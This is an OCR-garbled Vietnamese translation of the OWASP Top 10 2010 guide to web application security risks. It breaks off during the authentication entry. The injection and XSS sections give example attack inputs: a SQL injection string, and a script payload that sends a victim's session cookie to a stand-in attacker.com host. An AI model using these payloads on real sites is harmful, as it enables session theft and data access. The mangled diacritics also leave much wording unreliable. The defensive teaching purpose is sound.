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Bo I Ve owasp

Loi noi dau

St dung nhirng phan mém khoéng an toan da lam hao tén
nhiéu chi phi cho cac nganh tai chinh, y t& , phong thd, ndng
lwong va nhiéu co s& ha tang quan trong khac. Khi ma cac hé
théng s6 cla ching ta tré nén ngay cang phurc tap va lién
théng, viéc bao vé né cling trd nén khoé khan hon gap nhiéu
[an. Ching ta khong thé nao chdp nhan tén tai nhirng van dé
bao mat twong ddi don gian ma “OWASP Top 10” s& trinh
bay.

Muc tiéu cla dy 4n Top 10 nhdm ting nhan thirc ctia ngudi
doc vé an ninh tng dung bang cach xac dinh cac van d& mang
tinh rdi ro nhat d6i véi mot té chirc. Dy an Top 10 dugc nhac
dén trong rat nhiéu tiéu chuan, sich, céng cu va té chirc bao
gdbm MITRE, PCI DSS, DISA, FTC, v.v... Su ra d&i cia OWASP
Top 10 ddnh d4u 8 ndm hoat d6ng tuyén truyén vé su quan
trong clia bdo mat théng tin. OWASP Top 10 xuat hién dau
tién vao ndm 2003, duoc slra d8i vai diém nho trong nhitng
ndm 2004 va 2007. Van ban nay la phién ban nam 2010.
Chung t6i khuyén khich ban doc bat dau bdo vé t6 chirc clia
minh béng cach tim hiéu va thyc hanh Top 10. Lap trinh vién
c6 thé hoc tlr nhitng sai [Am cuda cac td chirc khac. Nguai didu
hanh nén bét dau suy nghi céch gidm thiéu rdi ro ma cac tng
dung phan mém c6 thé mang dén cho cong ty cia minh.

Tuy nhién Top 10 khéng phai la mét chwong trinh an ninh
ng dung. C4c budc ti€p theo, OWASP khuyén khich céc t6
chirc nén thiét 1ap cho minh mot nén tang chic chan gom
dao tao nhan vién, trién khai cac tiéu chuin va cac cdng cy
gilp cho viéc lap trinh dwgc dam bao an toan. Bén canh do,
céc t6 chirc cling phai k&t hop bdo mat vao cac tién trinh ti
phét trién, kiém tra dén bao tri. B phan quan li c6 thé phan
tich théng tin tlr nhitng hoat ddng nay dé gidm thiéu rdi ro vé
an ninh &ng dung.

Chung t8i hi vong rdng OWASP Top 10 s& hitu ich cho viéc
thiét 1ap bao mat thong tin cta ban. B4t ct khi nao cé thac
mac hodc gdp v hay cd y twdng hay cac ban ¢ thé lién hé
chuing t6i tai OWASP-TopTen@lists.owasp.org (hdp mail cong
cong) hodc dave.wichers@owasp.org. (h6p mail riéng)
http://www.owasp.org/index.php/Top 10

Vé OWASP

Viét tat ctia The Open Web Application Security Project (dy én
mé& vé bao mat rng dung Web), dy én [d mot sy c6 géng
chung clia cdng déng gitp cac t8 chirc cd thé phat trién, mua
hodc bao tri cac trng dung an toan. & OWASP ban s& tim théy
“mién phi” va “md” (free and open):

* Cong cu va cdc tiéu chudn vé an toan théng tin

e Sach vé kiém tra bao mat (rng dung, 14p trinh an toan va cac
bai viét vé kiém dinh ma ngudn

* Thu vién va cac tiéu chuan diéu khién anh ninh

* Cac chi nhanh cla hoi & khap noi trén thé gidi

* Nhitng nghién ctru méi nhat

* Nhi*ng budi hoi thao toan cau

* Dija chithu tin chung

* Va nhiéu thir khac, xem thém tai www.owasp.org

T4t ca nhitng cong cu, tai liéu, dién dan va chi nhanh cla
OWASP déu “mién phi “ va “md” cho bat ct ai cé niém yéu
thich tdng cwdng bao mat théng tin. Ching tdi chu truong tiép
can an toan rng dung nhu 1a mét van dé vé con ngudi, tién
trinh va ky thuat, bai vi da s6 nhitng phuong thirc hiéu qua déi
V@i an toan &ng dung déu phai ddm bao su cai thién cla tat ca
nhirng mat nay.

OWASP |a mét m6 hinh t6 chirc méi. Viéc khéng bj thwong mai
héa anh hudng gilp cho chung téi dua ra nhirng thong tin
chinh xac, khéng thién vj va cé gia tri vé an toan rng dung.
OWASP khdng lién két v&i bat ki cdng ty ki thuat ndo, du
chiing t6i ho tro vé cac mat ki thuat trong an toan théng tin.
Ciing gidng nhu nhitng du 4n phan mém ma ngudén ma,
OWASP tao ra rat nhiéu san pham bang sy phdi tac clia cong
dong.

Né&n tang cla OWASP la m6t t6 chirc phi loi nhuan va dam bao
sy thanh cong |au dai cla dy &n. Hau hét thanh phan cla t6
chtrc la tinh nguyén vién bao gdm Ban Quan Tri, Ban Diéu
Hanh toan cau, I3nh dao cac chi nhanh, |3nh dao cac du an va
thanh vién dy an. Chuing t6i ho tro su sang tao trong nghién
clru an toan thang tin bang cac khodan tro cap va co s& ha tang.

Hay tham gia cung ching t6i !

Ban quyén va Gidy phép

Ban quyén © 2003 — 2010 The OWASP Foundation

Tai liéu nay duwoc phat hanh theo gidy phép Creative Trung binhs Ghi cdng ShareAlike 3.0. D&i vdi bat ky

viéc tai st dung hodc phan phdi, ban phai lam cho r& rang dé ngudi khac hiéu diéu khodn cap phép cla

tadc pham nav.
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Chao mirng dén védi OWASP TOP 10 2010 ! Phién ban cap nhat nay trinh bay danh sach Top 10 rii ro anh ninh ctia (*ng dung web
mdt cach ngan gon, xtc tich va chi tam. OWASP Top 10 van ludn trinh bay vé cac nguy co, tuy nhién phién ban cap nhat nay sé
dam bao rd rang dé hiéu hon phién ban trwdc. Ching t6i cling sé trinh bay nhitrng théng tin lién quan vé viéc 1am cach nao dé ban
c6 thé ty kiém tra nhirng méi nguy dé cho rng dung clia minh.

Dai véi mbi khodn trong Top 10, phién ban nay thdo luan nhi*ng nhan t& hinh thanh va hau qua, tir dé phan loai cap dé céc rii ro.
Sau dé chiing t6i s& huwdng dan ban cach chan doan xem ban c6 mac phai nhitng van dé dwoc néi dén khéng, lam cach nao dé
trdnh va dwa ra mét vai vi du va lién két dén cac ngudn thong tin khac.

Muc tiéu chinh cia OWASP Top 10 |a d& hwéng dan ngudi lap trinh vién, ngudi thiét ké, ki sw, quan |i va ca té chirc vé hau qua
cta nhirng diém yéu quan trong nhat trong (rng dung web. Top 10 cung cip nhitng k§ ndng co ban dé bao vé ban khdi nhitng mai

nguy hai nay va huéng dan ban ty tim hiéu thém.

Canh bao

Birng chi dirng & Top 10. C6 hang trdm nhitng van dé cé thé
anh huwdng dén toan bd sy an toan cla cac ng dung web
nhu d3 trinh bay trong OWASP Developer’s Guide. N6 rat
quan trong cho nhitng ai muén phét trién (rng dung web
ngay nay. Hwdng dan trong viéc lam cach nao dé tim ra
nhitng 16 héng bdo mat dugc cung cap trong OWASP Testing
Guide va and OWASP Code Review Guide ma chung toi da
cap nhat nhiéu tir [an cdng b6 OWASP Top 10 trudec.

Thay d&i lién tuc. Phién ban Top 10 nay sé tiép tuc dwoc thay
déi. DU khong thay d&i bat cr thir gi trong mot &ng dung,
ban ciling c6 thé d3 bi dnh hudng bdi nhitng 16 héng ma chua
ai phat hién bao gio. Xin vui Idng xem xét nhirng |01 khuyén
cla ching téi tai phan cudi cla Top 10 muc “Nhitng budc
tiép theo cho Nha phdt trién, kiém dinh vién va Té churc”.

Suy nght tich cwe. Khi ma ban d3 san sang dirng viéc tim hiéu
16i bdo mat va tap trung vao viéc thiét lap mot hé théng bao
mat &rng dung , OWASP cung cap Application Security
Verification Standard (ASVS) vé nhitng diém can kiém tra
cho cac t6 chirc va kiém dinh vién.

S& dung cong cu sang sudt. Nhirng 16i bdo mat cé thé rat
phirc tap va an chira trong hang ngan I&p m3 |énh. Trong hau
hét cac trwong hop, cach hitu hiéu nhat dé tim 16i va sira
chita nhirng diém yé&u nay la su két hop gilra yéu t6 chuyén
nghiép clia con ngudi va sy suat sac clia cong cu.

P4ay vé phia khac. BAo mat r'ng dung web chi dwgc ddm bao
khi vong doi phat trién bao mat phan mém duwoc st dung.
Xem thém tai the Open Software Assurance Maturity Model
(SAMM), day la phién ban cap nhat cia OWASP CLASP
Project.

Xin cdm on Aspect Security vi d3 di tién phong trong viéc phat
trién va cdp nhat OWASP Top 10 tir ndm 2003 va xin cam on
tac gia chinh Jeff Williams va Dave Wichers.

Chung t6i cling xin cdm on nhitng té chirc d3 dong gép nhitng
thong tin vé céc 16 hdng bao mat dé hd trg TOP 10 trong lan
cap nhat nay:

ASPECT

Application Security Experts

= Aspect Security
= MITRE — CVE

= Softtek
= WhiteHat Security Inc. — Statistics

Chung téi cling mudn cdm on nhitng ngwdi da dong gop rat
nhiéu cho viéc phat trién va bién tip ndi dung trong phién ban
TOP 10 nay:

= Mike Boberski (Booz Allen Hamilton)

= Juan Carlos Calderon (Softtek)

= Michael Coates (Aspect Security)

= Jeremiah Grossman (WhiteHat Security Inc.)

= Jim Manico (for all the Top 10 podcasts)

= Paul Petefish (Solutionary Inc.)

= Eric Sheridan (Aspect Security)

= Neil Smithline (OneStopAppSecurity.com)

= Andrew van der Stock

= Colin Watson (Watson Hall, Ltd.)

= OWASP Denmark Chapter (Led by Ulf Munkedal)

= OWASP Sweden Chapter (Led by John Wilander)
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Ghi chu phat

hanh

Dién mao nhiing mbi nguy vé ung dung Internet thay déi mot cach lién tuc. Nguyén nhan chinh vé sy phat trién nay la sy tién bo
cua ké tAn cong, su ra doi cua nhitng cong nghé maéi, va sy thiét 1ap cua nhiing hé théng ngay cang phuec tap. Dé theo kip tién do
nay, chung t6i phai cdp nhat héng nam OWASP Top 10. Trong phién ban 2010, chtiing t6i da thay d6i nhiéu trong nhiing phan sau:
1) Chung t6i xin néi rd danh sach Top 10 dwo'c lwa chon dwa trén tinh rdi ro, khong phai sw phé bién cla |6 bao mat. Xem cu

thé trong phan “Nhing rdi ro bdo mét trng dung”.

2) Chung t6i thay d6i cach thirc xEp hang nhitng mai rdi ro, thay vi chi dwa vao s6 liéu théng ké clia diém yé&u. Diéu nay anh
huwdng dén thir tu clia Top 10, nhu ban cé thé xem & bang dudi.

3) Chung t6i thay thé 2 muc trong danh sach bang 2 muc mai:

+  Thém: A6 — Sai s6t trong cau hinh an ninh. Muc nay tirng xuét hién & A10 trong phién ban 2004: “Quan ly hiéu chinh
khéng an toan”, nhung bi xéa trong ndm 2007 vi khéng dwoc xem 13 van dé phan mém. Tuy nhién, tir géc dé rui ro cla
t6 chirc cling nhu sy ph6 bién, muc nay tré nén quan trong can duoc néi dén trong Top 10.

+ Thém: A10 — Chuyén hudng va chuyén tiép thiéu tham tra. Van dé nay dang néng trong Top 10. Nhiéu minh chirng d3
cho thay van dé gan nhu chua duoc biét dén nay dang sdy ra khap moi noi va gay ra nhiéu thiét hai.

—  B6&t: A3 -Thuec thitap tin doc. DAy 1a van dé quan trong trong nhiéu méi trudng. Tuy nhién, su xuat hién clia né trong
nam 2007 la vi mot lwong I&n ¢ng dung PHP c6 van dé nay. PHP hién nay d3 dwoc sira chita tich hop nhiéu thiét 1ap bao

mat tir dAu, giam thiéu sy xuat hién cla van dé nay.

—  B&t: A6 — That thoat thong tin va x{ ly 16i khong dling cach. Van dé nay rat phé bién, nhung sw tac dong cla viéc dé 16
strack trace hay thong tin 18i that ra rat nhd. Vi phan A6 duoc thém vao, nhitng sy hiéu chinh cho thong tin 16i [a mot

phan cda sy hiéu chinh cho (rng dung va may chu.

DOWASP 1op 10 Ul

A2 - L3i nhiing ma

DWASP Iop 10 - 2010 (\VIcC

Al - L3i nhiing ma

Al - Thuce thi m3 script x3u (XSS)

A2 — Thyc thi m3 script x3u (XSS)

A7 - Hur hong co ché chirng thuc va quan 1y phién 1am viéc

A3 — Hir hong co ché chirng thuc va quan 1y phién lam viéc

A4 - D8i trgng tham chiéu thi€u an toan

A4 - Béi twgng tham chiéu thiéu an toan

A5 — Gia mao yéu cau (CSRF)

A5 — Gia mao yéu cau (CSRF)

<tirng la T10 2004 A10 — C3u hinh hé théng khong an toan>

A6 — Sai s6t cau hinh an ninh(NEW)

A8 — Lwu trit mat ma khong an toan

A7 - Lwu trit mat ma khong an toan

A10 — Sai st han ché truy cap

A8 — Sai s6t han ché truy cip

A9 - Thiéu bao vé |&p van chuyén

A9 — Thiéu bao vé |&p van chuyén

< khdng & trong T10 2007>

A10 - Chuyén hwéng va chuyén tiép thiéu tham tra(NEW)

A3 — Thuc thi tap tin doc

<khéng ndm trong T10 2010>

A6 — That thoat thong tin va xt Iy 16i khong ding cach

<khéng ndm trong T10 2010>




Rui ro an ninh trng dung

? e . 4 by AY
Rui ro an ninh &*ng dung la gi ?
Ké t&n cong cd thé loi dung nhiéu con dudng khic nhau théng qua rng dung clia ban va Iam tén hai doanh nghiép hay t6 chirc
clia ban. M&i con dudng thé hién moét rdi ro khdc nhau ma ¢ thé cé hodc khong gay ra su chu y.

Tac nhan de doa

A

Kiém soat Anh hwéng Anh hwéng
an ninh ky thuat Kinh doanh

Kiém soat + n

Hwéng tan céng Piém y&u bao mat
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Tan cong > ==@ nyéubio mé+ — 5 Anh huwéng

n yéu bao mH Kiém soat

Thuong thi nhitng con dudng nay kha dé& dé tim ra va tan dung dé pha hoai, tuy nhién ciing cé nhitng truong hop rat phic tap.
Tuong ty, nhitng m&i rdi ro cé thé di tir khong c6 gi dén khién ban pha san. D& ¢6 thé xac dinh nhitng rdi ro cho té chirc cta ban,
ban cd thé tinh toan kha nang hién hiru ciia moi nguy hiém, nhitng yéu t6 tdn cong va nhitng di€ém yéu bdo mat. Ban can phai tap
hop ching lai véi mot suw can nhac vé sy dnh hudng clia ching ca vé k§ thuat 1an kinh doanh déi véi t6 chitc clia ban. Cung véi
nhau, nhitng yéu té trén hinh thanh tap hop rdi ro.

? e ? N e by AY A ?
Ruiro cua toilagi? Nguon tham khao
Phién ban cap nhat nay ctia OWASP Top 10 tap trung vao viéc xac dinh nhing rui ro

dang ngai nhat déi vdi cac t6 chirc trén dién réng. V&i moi rli ro nay ching toi s&

cung cap nhitng théng tin chung nhu kha ndng xay ra va anh hudng vé mat ky ) OWASP
thuat. Ching t6i st dung bang sau dwa trén OWASP Risk Rating Methodology dé « OWASP Risk Rating Methodology
ban danh gia: _ _
* Article on Attack vectors/Risk
. o Kha ning phat | Tac dong dén Téc dong Modeling
Técnhande | Cichudngtdn | o s pien hién ky thuat dén kinh
doa cong
doanh
[ ot [ e [ 0E [ wn | Ngudn khac
? Trung binh Trung binh Trung binh Trung binh ? * FAIR Information Risk Framework
Khé ft phd bién Khé Nho * Microsoft Attack Vectors Modeling

(STRIDE and DREAD)

Tuy nhién chi ban |a cé thé hiéu duoc twdng tan moi trudng lam viéc clia minh. D6i
vai mot rng dung bat ki, c6 thé s& khong cé tadc nhan de doa nao cé thé thyc hién
dugc viéc tin cdng, hodc anh huwdng vé ki thuat cé thé 1a rat nho. Cho nén ban phai
tw minh tinh todn nhirng rai ro, tap trung vao tac nhan de doa, hé théng quan ly an
ninh va nghién ctru sy anh hudng cda nd tdi kinh doanh trong doanh nghiép cla
ban.

Mac du nhitng phién ban trwdc cla OWASP TOP 10 tap trung vao viéc phat hién
nhitng 16 hdng bao mat nghiém trong nhat, né ciing cé thé str dung dé quan li rdi
ro. Tén goi clia Top 10 dwoc 13y tir nhirng cach tan cdng, loai diém yéu hoic tac
ddng ma nd gay ra. Chung tdi chon céi tén dugc st dung nhiéu nhat va cé thé thu
hut dugc sy cha v toi da.
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T10

A1l - L6i nhiing m3

A2 - Thuc thi ma
script xau (XSS)

A3 - Sai [am trong
kiém tra dinh danh

A4 - Péi tuong
tham chiéu thiéu
an toan

A5 - Gia mao yéu
cau (CSRF)

A6 — Sai sét cau
hinh an ninh

A7 — Lwu trir mat
ma thiéu an toan

A8 - Sai sét han ché
truy cap

A9 - Thiéu bao vé
I16p van chuyén

A10 - Chuyén
hwéng va chuyén
ti€p thiéu tham tra

OWASP Top 10 Rui ro an ninh &rng
dung -2010

e Xay ra trong cac ng dung nhw SQL, LDAP khi nhitng dit liéu khéng xac thuc dugc glri téi hé théng bién dich
nhuw mét phan cia m3 Iénh. Nhitng di? liéu nay clia ké tan cong cé thé lira hé théng bién dich thuc hién
nhitng ma |énh déc hai hodc gitp ké tan cdng xdm nhap dén nhitng dit liéu quan trong mot cach trdi phép.

e Xay ra khi mét (tng dung ti€p nhan nhitng di¥ liéu khéng dang tin ciy va glti chingdén cho trinh duyét web
ma khong qua xU ly va kiém duyét. XSS cho phép ké tan cong thyc hién ma ddc trén trinh duyét clia ngudi bi
tan cong va lgi dung 3n cdp phién truy cap dé mao danh hodc hiy hoai trang web hodc lira ngudi st dung
dén nhitng trang web chira ma doc khac..

eNhitng doan chuwong trinh kiém tra danh tinh va quan ly phién lam viéc cia ngudi sir dung thudng hay dugc
lam qua loa khéng ding cach. Biéu nay gitp ké tham nhap cé thé 3n cdp mat m3, khéa, ma clia céc phién
lam viéc {session token} hodc t4n dung nhirng 16i khac dé gid mao danh tinh cac nguoi dung khac.

e X3y ra khi ngudi phat trién dé 16 mot tham chiéu dén nhitng ddi tuong trong hé théng nhu cac tap tin, thu
muc hay chia khéa di¥ liéu. Néu ching ta khdng cé mét hé théng kiém tra truy cap, ké tan cong cé thé lgi
dung nhitng tham chiéu nay dé truy cap di¥ liéu mét cach trai phép..

e Kiéu tan cdng nay ép budc trinh duyét web cla mét ngudi dung d3 didng nhap glri nhitng yéu cau giao thirc
web (HTTP) téi mot trang web bi 16i, bao gdm cookie clia phién truy cap va nhitng thong tin ty dong khac
nhu théng tin dang nhap. Cach thirc nay cho phép ké tan céng budc trinh duyét web tao ra nhitng yéu cau
cho &ng dung I16i ma trng dung nay khong thé biét day la nhitng yéu ciu gia mao clia ké tan cong..

* M6t co ché an ninh t6t can phai dinh nghia nhitng hiéu chinh vé& an ninh va trién khai né cho céc (rng dung,
khudén mau, may chd rng dung, may chl web, may chi di¥ liéu va cac (rng dung nén tang. T4t cd nhitng thiét
l4p nén duoc dinh nghia, thuc hién va bao tri bai vi rat nhiéu thir khéng duoc trién khai vi thiét 1ap an toan
méc dinh. Cac hiéu chinh cling bao gdm cap nhat phdn mém va nhitng thu vién duoc st dung bdi irng dung.

 Nhiéu trng dung web khdng bao vé dit liéu nhay cdm nhu thé tin dung, SSN, va nhitng mé xac thyc thong tin
bang cac phuwong thirc ma héa hay bam (hlashing). Ké tan cong c6 thé an cap hay thay d6i nhirng dit liéu
nhay cdm nay va tién hanh hanh vi trém cap, gian |an thé tin dung, v.v...

* Nhiéu (rng dung web kiém tra quyén thyc thi dia chi truy cap (URL) trudc khi dung céc lién két va nit nhan
duwoc bdo vé. Tuy nhién ng dung ciing phai thuc hién nhitng kiém tra twong tu moi khi nhitng trang théng
tin duoc truy cap truc ti€p néu khong ké tan cong cé thé gia mao URL dé truy cap vao nhitng trang thong tin
an nay.

e cac (rng dung thudng xuyén mac sai [am trong viéc kiém tra dinh danh, m3 héa va bao vé sy tuyét mat va
tinh toan ven cda nhitng théng tin nhay cdm trén mang ludi lién két. N6 thudng duwoc bao vé bai nhitng
thuat toan yéu, str dung nhitng chirng nhan d3 hét hiéu lwc hodc khdéng st dung ding cach.

o ng dung web thuong xuyén dua nguwoi dung dén nhitng lién két qua cac website khac, va st dung nhitng
thong tin thi€u tin cay dé xac dinh dich dén. Néu khong dwoc kiém tra mot cach can than, ké tdn cong cé thé
lgi dung dé chuyé&n nan nhan dén céc trang web lira dao hay phan mém déc hai, hodc chuyén tiép dé truy
cap cac trang trai phép.
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O
Hwéng Piém yéu Anh hwon Anh hwéng
de doa tan cong bdo mat ky thuat Kinh doanh
Mirc 46 phé bién  KNa nang phat
Trung binh Al
Trung binh

Ké tan cdng c6 thé
glti nhitng m3 tan
cdng dang van ban,
khai thac so ho
trong cl phap cla
trinh bién dich. Hau
nhu tat cad ma

Ta can can nhac dén gia
tri cba nhirng dit liéu bi
anh hudng va cac nén
tang dang chay trinh
bién dich. T4t ca dit liéu
6 thé bi danh cap,
thay d&i hodc huy hoai.

Ai cling c6 thé glri
cac dit lieu khong
tin cdy dén hé
théng: bao gém
nguwoi dung bén
ngoai, n6i b, va
quan tri vién.

L6i nay co thé khién
ban mat mat dit liéu,
hu hong hodc khong
thé kiém tra hay truy
cap dén dir liéu.
Nang hon né cé thé
dan dén toan bd hé

L5i nhiing m3 c6 thé sy ra khi mot (rng dung
glti nhitng doan m3 ddc dén trinh bién dich.
L&i rat phd bién, déc biét & nhitng doan ma
ngudn dugc st dung nhiéu, nhu trong truy van
SQL, LDAP, XPATH, cac cau lénh OS, cac tham
s clia chuong trinh.

L&i thwong dé phat hién khi ra soat ma nguon,

ngudn déu cé thé
mac 16i ké cd m3 noi
bé. tim ra ching.

nhuwng khé khi chay kiém thir chwong trinh.
cong cu quét kiém tra cé thé gilp ké tan cong

Diéu nay cé thé anh
hudng nghiém trong
dén danh tiéng cta ban
khéng ?

théng bi chiém
quyén.

T6i c6 bi mac phai ma nhing?

Cach t6t nhat dé kiém tra xem ¢ng dung cé mac 16i khong Ia
xac minh néu tat ca cic dit lién dau vao cla trinh bién dich co
thé phan biét rd rang giita ma doc vai cau truy van hay cau
|énh. Vi dy nhu trong truy van SQL, ta can phal str dung tat ca
nhu'ng bién d3 dwoc chuan bj gid tri san hay cac tha tuc cé
san, tranh sir dung nhu‘ng cau truy van dong

Ki€ém tra m3 ngudn cd thé 1 cadch nhanh va chinh xéc dé xac
dinh néu L'rng dung cé an toan hay khéng. Nhirng cong cu
phan tich ma ngubn c6 thé gitp nhan vién bao mat hiéu duoc
trinh bién dich va Iuong di liéu di trong &ng dung Nhirng
chuyén vién bao mat cé thé xac minh nhu’ng 16 nay bang cach
tao nhitng chwong trinh thAm nhap thir vao hé théng
Chuong trinh quét ty déng cé thédua ra nhitng thong tin
gitp kiém tra néu chwong trinh cla ban thuc s méc 16
nhung ma. May quét khong the ludn kiém tra dugc trinh bién
dich va khé biét chac chan néu cé mot phu’o’ng thirc tdn cong
thanh cong. Nhirng phan x{ ly 16i kém c6 thé gitp tim ra 16
héng dé dang hon.

Lam cach nao de chong?

Dé& ngan chan can phai phan biét dwgc ma ddc va cau lénh

hay truy van

1. Thudng dugc dung la mot thu vién APl an toan, no giup
ban tranh viéc st dung trinh bién dich mot cach truc tiép
va cung cap mdt giao dién phan tach tham sé. Can can
than véi APIs, nhu thd tuc lvu trit du da phan tach tham
s6 nhung 16i nhdng ma van cé thé say ra & bén trong.

2. Néu khong c6 nhitng thu vién phan tdch tham s6, ban ¢
thé can than loai bd nhirng ki tw dic biét bang nhitng cu
phap dac thl cda trinh bién dich d6. OWASP’s ESAPI cé
cung cap thdng tin vé nhitng k¥ thuat nay .

3. Kiém tra dit liéu dau vao hop 1& bang cac tir dién tiéu
chuén phu hdp Day van chua phal |a cach phong thd an
toan nhat vi nhiéu &ng dung sir dung nhirng ky ty dic
biét trong cdc théng tin dau vao. OWASP’s ESAPI ciling
cung cap 1 danh sich rat nhiéu nhitng thw vién céng cu
dé kiém tra di liéu d4u vao hop |é.

Vi du tinh huéng tan céng
Ung dung st dung ma doc khi xay dwng truy van SQLsau:

String query = "SELECT * FROM accounts WHERE
custID="" + request.getParameter("id") +""";

Ké tan cong c6 thé thay thé tham sé ‘id’ trong trinh duyét dé
gl dén: ‘ or “1’="1. Viéc nay thay déi y nghia clia cau truy van
va tra ra gia tri cla tat ca cdc tai khoan trong co s& dit liéu
thay vi chi cda 1 nhan vién ma théi.

http://example.com/app/accountView?id='or '1'='1
Trong trudng hop xau nhat, ké t4n cong cé thé sir dung diém
yé&u nay dé thyc thi nhitng tha tuc lvu trir trong co s& dit liéu
va gitp han chiém quyén diéu khién co sé& dit liéu hodc toan
bé may chu.

Nguon tham khdo

OWASP

* OWASP SQL Injection Prevention Cheat Sheet
* OWASP Injection Flaws Article

* ESAPI Encoder API

* ESAPI Input Validation API

* ASVS: Output Encoding/Escaping Requirements (V6)

* OWASP Testing Guide: Chapter on SQL Injection Testing
* OWASP Code Review Guide: Chapter on SQL Injection

* OWASP Code Review Guide: Command Injection
Nguon khac

* CWE Entry 77 on Command Injection

* CWE Entry 89 on SQL Injection
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% Hwéng
Tac nhan de doa tan cong

Kha nang khai
thac
Trung binh

K& tan céng cé thé glri
nhirng ma script tan

Ai cling c6 thé glri
cac di¥ liéu khong
tin cdy dén hé
théng: bao gbm
nguwoi dung bén
ngoai, n6i b, va
quan tri vién.

c6 thé khai thac trinh
bién dich cla trinh
duyét web. Hau nhv
bat ct doan nao cling
c6 thé méc 16i bao
gdbm ca nhitng ngudn
ndi bd nhu database.

L&i thuc thi script rat phd bién trong cac
rng dung web. XSS xay ra khi mét (ng
cong dang van ban ma dung nhan kém di liéu d4u vao tir ngudi
dung tlr cac trang web cla né va glri dén
nhitng ngudi dung khac ma khéng qua
kiém tra va xt ly. C6 3 loai XSS: 1) lwu trit,
2) phan chiéu, va 3) dwa vao DOM.

L6i nay tuong d6i dé phat hién bang viéc
chay kiém tra hoac phan tich ma.

Thuwc thi ma script doc (XSS)

Piém yéu
bdo méat

Anh huond Anh hwéng
ki thuat Kinh doanh

Anh hwéng
Trung binh

Ta can can nhac dén
gia tri cla nhitng hé
théng va dit liéu bj
anh huéng.

Ké tan céng cé thé
thue thi script trén
trinh duyét cda nan
nhan dé &n cap hay
gid mao phién lam
viéc, pha hong trang
web, thém vao nhitng
noi dung xau, chuyén
két ndi, tan céng trinh
duyét bang phan mém
doc hai.

Cling nén can nhéc
dén tac dong kinh
té& cha viéc 16i nay bj
trinh bay trudc
cong luan.

N e V4 . [ ?e
Toi c6 bi mac phai XSS?
Ban can phai bao dam tat ca dit liéu dau vao tir ngudi dung
ma duoc gli trd lai trinh duyét web can phai dugc kiém tra
dé ddm bao an toan (théng qua kiém dinh di¥ liéu dAu vao),
va cac dit liéu do phai dugc loai bd ki ty dic biét can than
trwdce khi né dwoc xuat ra tai cc trang web. M3 héa dit liéu
dAau ra cé thé bao ddm nhitng dit liéu dau vao ludn dugc xem
dudi dang van ban trén trinh duyét thay vi nhitng doan noi
dung déng cé thé thuec thi.
Cac cong cy dong hoac tTnhNd‘éu c6 thé phat hién XSS mot
cach ty dong. Tuy nhién, moi ‘ng dung xay dwng trang web
khdc nhau va sir dung nhirng trinh bién dich trinh duyét web
khac nhau nhu Javascript, ActiveX, Flash and Silverlight, lam
cho viéc phat hién 16i khé khdn hon. Cho nén, viéc dam bao
toan b doi héi sy két hop gitra kiém tra ma ngudn, va tham
nhap kiém chitng bang tay, bén canh nhitng cach thirc tu
dong khac.
Cong nghé Web 2.0, nhu Ajax, lam cho viéc phét hién XSS tro
nén khoé khan hon bang nhirng cong cu ty dong.

Vi du tinh hudng tan cong
Ung dung s dung nhirng dit liéu thidu an toan trong viéc xay
dung doan HTML dudi day ma khong xac thuc hay loai bo ki
ty dac biét
(String) page += "<input name="'creditcard' type="TEXT*
value="" + request.getParameter("CC") + "'>";
Ké t&n cong co thé thay d6i tham s ‘CC’ trong trinh duyét cla
han thanh:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo="+document.cookie</script>'.
Diéu nay lam cho ID phién lam viéc cda nan nhan bi glti dén
trang web cla ké tan cong, giip cho han cé thé an cap phién
lam viéc déHay Iwu y rang ké tan cong ciing c6 thé loi dung
XSS dé pha bat clt chirc ndng ty ddng phong thi CSRF nao
cla trang web. Xem thém A5 vé CSRF

Lam cach nao dé chong Xss?

DE& ngan chan XSS doi hoi phan biét dwoc gitta ma doc va ndi
dung web

1. khuyén khich loai b6 nhitng ky tw dac biét mét céch can
than dwa trén nodi dung béi cdnh HTML (phan than, cac
thudc tinh, Javascript, CSS, URL) ma dit liéu s& xuat hién.
Ngudi phat trién can phai thyc hién diéu nay trong cac
ng dung cla ho trir khi thu vién hién thi da [am Xem
thém cdc cach can loc tai OWASP XSS Prevention

2. Xacthuc dit lieu ddu vao hop & qua “danh sach trang”
cling duoc khuyén khich nhung day khdng phai la mot
cach phong thi toan dién boi vi nhiéu (rng dung yéu cau
nhirng ki tw ddc biét. Nén gidi ma bat c& ki tw ma hda nao
va xac thye do dai, cac ki tu, va dinh dang cla dit liéu
trudce khi cho phép sir dung dit liéu dau vao doé.

3. . Hdyxem xét s dung tinh ndng mé&i cla Mozilla Content
Security Policy sap dwoc ra mat trong Firefox 4 dé bao vé
hong lai tAn cong X

Nguon tham khdo

OWASP

* OWASP XSS Prevention Cheat Sheet

* OWASP Cross-Site Scripting Article

* ESAPI Project Home Page

* ESAPI Encoder API

* ASVS: Output Encoding/Escaping Requirements (V6)
* ASVS: Input Validation Requirements (V5)

* Testing Guide: 1st 3 Chapters on Data Validation Testing
* OWASP Code Review Guide: Chapter on XSS Review
Nguén khac

* CWE Entry 79 on Cross-Site Scripting

* RSnake’s XSS Attack Cheat Sheet
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Nhirng ké tan cong
ndc danh tir phia
ngoai, hoac nguoi
ngudi dung s& hitu
tai khoan mudn an
cép thong tin tir tai
khoan khac. Cling
nén can nhic déi
tugng ndi bé muén

Hwéng
tan cong

Kha nang khai
thac
Trung binh

Ké tan cong loi
dung nhitng so hé&
trong cac doan ma
kiém tra dinh danh
(vi du: xem tai
khoan, password, ID
phan lam viéc) dé
gia mao nguoi dung

Piém yéu
bdo mat

Kha nang phat
hién
Trung binh

Mdrc do phd bién
Trung binh

Ngudi phat trién thudong xuyén ty xay dung
nhirng mé hinh ching thuc va quan ly céc
phién lam viéc, nhwng xay dung ding cach
thi khdng dé. Két qua |a thuong xuyén cd 16i
trong nhiéu phan nhu dang xuat, quan ly
password, thoi gian cho, ghi nh& nguoi
dung, cau hdi bi mat, cap nhat tai khoan v.v.
Tim nhitng 16i nay rat khé khin bdi vi cach
lap trinh c6 thé doc |1ap, khdng giéng nhau

Anh hwén
ky thuat

L6i nhu thé c6 thé cho
phép mot vai hoac
toan bod tai khoan bj
tan cong. Khi da thanh
cong, ké tan cong cbd
thé lam nhiéu th
duwdi quyén cta nan
nhan. Nhitng tai
khoan d&c quyén
thwong la muc tiéu

Huw hong co’ ché chirng thuc va
quan ly phién lam viéc

Anh hwéng
Kinh doanh

Ta can can nhac dén
gia tri cda nhirng hé
théng va dit liéu bi
anh huéng.

Cting nén can nhac
dén tac dong kinh
t& clia viéc 16i nay bj
trinh bay truwdc

che d4u hanh dong

chinh. cong luan

